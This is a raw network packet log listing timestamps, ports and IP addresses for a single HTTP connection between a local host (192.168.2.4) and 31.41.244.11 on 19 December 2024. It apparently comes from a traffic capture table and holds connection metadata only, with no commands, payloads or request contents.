Dec 19, 2024 06:09:41.571469069 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.572113991 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.575742006 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.575805902 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.575881958 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.575984001 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.580270052 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.580357075 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.580390930 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.580615044 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.584726095 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.584779978 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.584994078 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.589121103 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.589231014 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.589304924 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.591451883 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.592907906 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.592941999 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.592973948 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.593384027 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.596530914 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.596565008 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.596600056 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.599237919 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.600101948 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.600203991 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.600248098 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.600482941 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.603804111 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.603837967 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.603933096 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.607377052 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.607513905 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.607520103 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.607574940 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.611187935 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.611222982 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.611468077 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.614695072 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.614811897 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.614846945 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.615008116 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.618349075 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.618441105 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.618515015 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.618690968 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.621994972 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.622167110 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.622292042 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.622359991 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.625751019 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.627388954 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.723367929 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.723444939 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.723591089 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.723711967 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.724783897 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.724833965 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.724895954 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.724941969 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.727746964 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.727797985 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.728725910 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.728770018 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.728842974 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.728888988 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.731431007 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.731472969 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.731573105 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.731621027 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.734210014 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.734245062 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.734265089 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.734294891 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.736814022 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.736870050 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.736929893 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.736979961 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.739401102 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.739459991 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.739540100 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.739583015 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.742002964 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.742052078 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.742127895 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.742172956 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.744586945 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.744648933 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.744692087 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.744740963 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.747072935 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.747126102 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.747145891 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.747188091 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.749412060 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.749461889 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.749512911 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.749562979 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.751835108 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.751888037 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.752012014 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.752049923 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.754244089 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.754293919 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.754353046 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.754403114 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.756674051 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.756746054 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.756843090 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.756896019 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.759155989 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.759191036 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.759208918 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.759241104 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.761600971 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.761665106 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.761706114 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.761756897 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.763956070 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.764003992 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.764019966 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.764065981 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.766355991 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.766407967 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.766443968 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.766489983 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.768726110 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.768774986 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.768892050 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.768939018 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.771145105 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.771193981 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.771348953 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.771398067 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.773718119 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.773766041 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.773828983 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.773871899 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.776022911 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.776070118 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.776108980 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.776153088 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.778554916 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.778572083 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.778600931 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.778624058 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.780921936 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.780935049 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.780965090 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.780982018 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.783226967 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.783272028 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.783354998 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.783396959 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.785676956 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.785721064 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.785801888 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.785844088 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.788064957 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.788105965 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.788177967 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.788218021 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.790452003 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.790493965 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.790576935 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.790612936 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.792979956 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.793023109 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.793081999 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.793126106 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.795352936 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.795402050 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.795469046 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.795511007 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.797843933 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.797857046 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.797884941 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.797897100 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.800199032 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.800244093 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.800317049 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.800354004 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.802602053 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.802642107 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.802800894 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.802839041 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.804994106 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.805032969 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.805115938 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.805157900 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.807408094 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.807449102 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.807473898 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.807512045 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.809844017 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.809890032 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.809942961 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.809978008 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.812335014 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.812377930 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.812488079 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.812525988 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.814661980 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.814702988 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.814765930 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.814806938 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.817147970 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.817243099 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.817244053 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.817291975 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.819561005 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.819581032 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.819601059 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.819623947 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.822022915 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.822072983 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.915513992 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.915577888 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.915611982 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.915647984 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.916445017 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.916484118 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.916511059 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.916548014 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.918354988 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.918406963 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.918495893 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.918540955 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.920305014 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.920351028 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.920480013 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.920519114 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.922302008 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.922363997 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.922494888 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.922535896 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.924324036 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.924335003 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.924362898 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.924385071 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.926084995 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.926141024 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.926235914 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.926275969 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.928034067 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.928045988 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.928076982 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.930075884 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.930087090 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.930121899 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.931850910 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.931863070 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.931906939 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.931919098 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.933429003 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.933526993 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.933531046 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.933582067 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.935144901 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.935189009 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.935271978 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.935316086 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.936917067 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.936956882 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.937026978 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.937067032 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.938740015 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.938781977 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.938788891 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.938827991 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.940395117 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.940434933 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.940601110 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.940639019 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.942172050 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.942183018 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.942217112 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.943794966 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.943856001 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.943903923 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.943943024 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.945472956 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.945513010 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.945543051 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.945580959 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.947177887 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.947217941 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.947247028 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.947287083 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.948811054 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.948860884 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.948921919 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.948962927 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.950536013 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.950576067 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.950634003 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.950674057 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.952137947 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.952179909 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.952248096 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.952290058 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.953829050 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.953888893 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.953964949 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.954005003 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.955674887 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.955686092 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.955715895 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.955733061 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.957350016 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.957391977 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.957401037 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.957429886 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.958916903 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.958960056 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.958962917 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.959002972 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.960658073 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.960669994 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.960697889 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.960717916 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.962232113 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.962275028 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.962459087 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.962497950 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.963969946 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.964027882 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.964174986 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.964212894 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.965632915 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.965672970 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.965720892 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.965765953 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.967252016 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.967292070 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.967401981 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.967439890 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.968905926 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.968946934 CET	49838	80	192.168.2.4	31.41.244.11
